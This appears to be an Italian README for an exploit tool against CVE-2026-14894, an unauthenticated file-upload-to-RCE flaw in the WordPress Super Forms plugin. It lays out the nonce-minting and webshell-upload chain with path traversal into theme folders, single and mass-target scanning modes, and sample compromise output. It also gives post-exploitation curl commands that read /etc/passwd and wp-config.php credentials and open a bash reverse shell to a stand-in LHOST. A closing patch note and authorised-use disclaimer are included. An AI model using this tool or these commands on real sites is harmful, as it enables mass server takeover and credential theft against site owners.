
Exploit per CVE-2026-14894, un upload di file non autenticato a RCE in WordPress Super Forms ≤ 6.3.313. Carica webshell PHP e supporta lo sfruttamento singolo o di massa.
Caricamento arbitrario di file non autenticato → Esecuzione remota di codice nel plugin WordPress Super Forms versioni ≤ 6.3.313.
La vulnerabilità risiede nel gestore AJAX che elabora i caricamenti di file tramite un campo senza convalidare l'estensione del file o il tipo MIME prima di scrivere su disco. Un attacker non autenticato può caricare una webshell PHP e ottenere l'esecuzione remota completa di codice sul server di destinazione.
super_submit_formdatauristring| Campo | Dettaglio |
|---|---|
| CVE ID | CVE-2026-14894 |
| Plugin | Super Forms (WordPress) |
| Versioni affette | ≤ 6.3.313 |
| Corretta | 6.3.314 (impone estensione .pdf + contenimento realpath) |
| CVSS | 9.8 Critico |
| Autenticazione richiesta | Nessuna |
| Ricercatore | andrea bocchetti |
| Azione AJAX | super_submit_form |
| Sink | campo datauristring → class-ajax.php:2762–2766 |
| Percorso di caricamento | /wp-content/uploads/superforms/YYYY/MM/<13digits>/ |
[1] Genera nonce (nopriv)
POST /wp-admin/admin-ajax.php
action=super_create_nonce
│
▼
[2] Carica shell PHP tramite datauristring (non autenticato)
POST /wp-admin/admin-ajax.php
action=super_submit_form
data={"sf_upload_field":{"files":[{"datauristring":"data:image/png;base64,..."}]}}
│
├── Path Traversal → /wp-content/themes/<theme>/shell.php ← primario
│ (sempre eseguito)
│
└── Cartella casuale → /wp-content/uploads/superforms/... ← fallback
(esecuzione dipende dalla policy del server)
│
▼
[3] Scoperta shell
├── S0: media?parent=entry_id (WP REST)
├── S1: REST /wp/v2/media search (non autenticato)
├── S2: Elenco directory Apache/nginx
└── S3: XML allegati sitemap WP
│
▼
[4] RCE → curl "http://target/wp-content/themes/theme/shell.php?c=id"
pip install requests urllib3
python cve-2026-14894.py
CVE-2026-14894 │ Super Forms ≤ 6.3.313
Unauthenticated File Upload → Remote Code Execution
Researcher: andrea bocchetti | PoC: Beelze
1 Single target
2 Mass targets (file)
Mode (1/2): 1
Target URL : https://target.com
Form ID (enter=auto) : ← leave blank = auto-discover
Shell name (enter=random): ← leave blank = random name
Shell file (enter=built-in): ← leave blank = built-in shell
WP user (optional/REST) : ← optional, improves discovery
WP pass (optional/REST) : ← optional
Output previsto in caso di successo:
──────────────────────────────────────────────────────────────
TARGET https://target.com
──────────────────────────────────────────────────────────────
Super Forms v6.3.301 vulnerable ≤6.3.313
[1/3] Mint nonce ...................... ✔ OK a3f9e1c... sid=sess_ab...
[2/3] Upload [xkqmhzjt.php] .......... ✔ OK form_id=42 entry_id=137
[3/3] Shell discovery ................ ✔ FOUND → RCE [path traversal → theme]
╔══════════════════════════════════════════════════════════════╗
║ ✓ PWNED → RCE CONFIRMED ║
║ ║
║ Shell » https://target.com/wp-content/themes/astra/shell ║
║ RCE » uid=33(www-data) gid=33(www-data) ║
║ ║
║ $ curl "https://target.com/...shell.php?c=whoami" ║
╚══════════════════════════════════════════════════════════════╝
Mode (1/2): 2
Targets file : targets.txt ← one URL per line, # = comment
Form ID (enter=auto) :
Threads (enter=5) : 10
Shell file (enter=built-in):
WP user (optional/REST) :
WP pass (optional/REST) :
Formato targets.txt:
# Bug bounty scope
https://site1.com
https://site2.com
https://site3.com
Output scansione di massa:
══════════════════════════════════════════════════════════════
MASS SCAN 3 targets threads=10
══════════════════════════════════════════════════════════════
[01/03] https://site1.com .... RCE uid=33(www-data)
↳ https://site1.com/wp-content/themes/astra/xkqmhzjt.php
[02/03] https://site2.com .... WRITE no exec
↳ https://site2.com/wp-content/uploads/superforms/2026/07/.../shell.php
[03/03] https://site3.com .... FAIL plugin inactive / blocked
══════════════════════════════════════════════════════════════
SUMMARY 1 RCE 1 WRITE_ONLY 0 MAYBE / 3 total
══════════════════════════════════════════════════════════════
RCE SHELLS:
» https://site1.com/wp-content/themes/astra/xkqmhzjt.php (uid=33...)
Puoi fornire il tuo file shell invece della webshell incorporata:
Shell file (enter=built-in): /path/to/myshell.php
Lo strumento caricherà il tuo file e tratterà qualsiasi risposta 200 con un corpo non vuoto come conferma RCE.
Dopo aver ottenuto l'RCE, interagisci con la shell:
# Command execution
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=id"
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=cat+/etc/passwd"
# Read WordPress config (creds, DB)
curl -sk "https://target.com/.../shell.php?c=cat+/var/www/html/wp-config.php"
# Reverse shell
curl -sk "https://target.com/.../shell.php" --data "c=bash+-c+'bash+-i+>%26+/dev/tcp/LHOST/LPORT+0>%261'"
I risultati vengono automaticamente salvati in:
~/Documents/CVE-2026-14894/result_YYYYMMDD_HHMMSS.json
| Stato | Significato |
|---|---|
RCE | Shell PHP confermata in esecuzione — esecuzione remota completa del codice |
WRITE_ONLY | File scritto ma PHP non eseguito (motore disattivato / negato da .htaccess) |
POSSIBLE_WRITE | Caricamento riuscito ma l'URL della shell non può essere risolto |
FAIL | Plugin inattivo, nonce fallito, o versione corretta rilevata |
Aggiorna Super Forms alla versione ≥ 6.3.314. La patch impone l'estensione solo .pdf nei caricamenti datauristring e aggiunge il contenimento realpath() per prevenire il path traversal.
Questo strumento è destinato esclusivamente a test di penetrazione autorizzati, ricerca bug bounty e scopi educativi.
Non utilizzarlo contro sistemi per i quali non hai esplicita autorizzazione scritta a testare.
L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento.
CVE-2026-14894 · Super Forms ≤ 6.3.313 · Caricamento file non autenticato RCE
Ricercatore: andrea bocchetti · PoC: Beelze